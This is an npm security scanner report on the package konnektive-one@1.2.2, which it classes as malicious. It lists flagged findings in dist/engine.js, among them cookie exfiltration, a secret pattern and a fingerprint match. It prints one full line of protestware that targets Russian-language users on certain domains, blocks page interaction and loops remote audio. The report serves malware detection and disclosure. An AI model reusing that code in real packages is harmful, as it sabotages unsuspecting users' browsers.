konnektive-one@1.2.2: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

konnektive-one@1.2.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

dist/engine.jsView file

•Browser cookie sent to a fixed external endpoint in dist/engine.js: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ...

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/engine.jsView on unpkg

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/engine.jsView on unpkg

•Trigger-reachable chain: manifest.main -> dist/engine.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/engine.jsView on unpkg

1patternName = google_api_key severity = high line = 1 matchedText = !functio...)));

High

High Secret

Package contains a high-severity secret pattern.

dist/engine.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = 7e3e9a4d8a70ad4a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = konnektive-one@1.2.1 matchedPath = dist/engine.js matchedIdentity = npm:a29ubmVrdGl2ZS1vbmU:1.2.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/engine.jsView on unpkg

1patternName = google_api_key severity = high line = 1 matchedText = !functio...)));

High

Secret Pattern

Google API key in dist/engine.js

dist/engine.jsView on unpkg · L1

1if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStorage.setItem("swal-initiation",`${e}`)}

High

Ai Review Evidence

On import, code targets Russian-language users on .ru/.su/.by/.xn--p1ai hosts.

dist/engine.jsView on unpkg · L1

1!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/engine.jsView on unpkg · L1

Source & flagged code

8 flagged

dist/engine.jsView file

Lines 1-1javascript

1!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var a="object"==typeof exports?t(require("jQuery")):t(e.jQuery);for(var o in a)("object"==typeof exports?exports:e)[o]=a[o]}}(this,(e=>(()=>{var t={455:function(e){e.exports=function(){"use strict";const e={},t=t=>new Promise((a=>{if(!t)return a();const o=window.scrollX,i=window.scrollY;e.restoreFocusTimeout=setTimeout((()=>{e.previousActiveElement instanceof HTMLElement?(e.previousActiveElement.focus(),e.previousActiveE ...

High

High Secret

Package contains a high-severity secret pattern.

dist/engine.jsView on unpkg · L1

High

Secret Pattern

Google API key in dist/engine.js

dist/engine.jsView on unpkg · L1

High

Ai Review Evidence

On import, code targets Russian-language users on .ru/.su/.by/.xn--p1ai hosts.

dist/engine.jsView on unpkg · L1

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/engine.jsView on unpkg · L1

Long lines were clipped for display.

•Browser cookie sent to a fixed external endpoint in dist/engine.js: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],t);else{var ...

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/engine.jsView on unpkg

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/engine.jsView on unpkg

•Trigger-reachable chain: manifest.main -> dist/engine.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/engine.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 7e3e9a4d8a70ad4a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = konnektive-one@1.2.1 matchedPath = dist/engine.js matchedIdentity = npm:a29ubmVrdGl2ZS1vbmU:1.2.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/engine.jsView on unpkg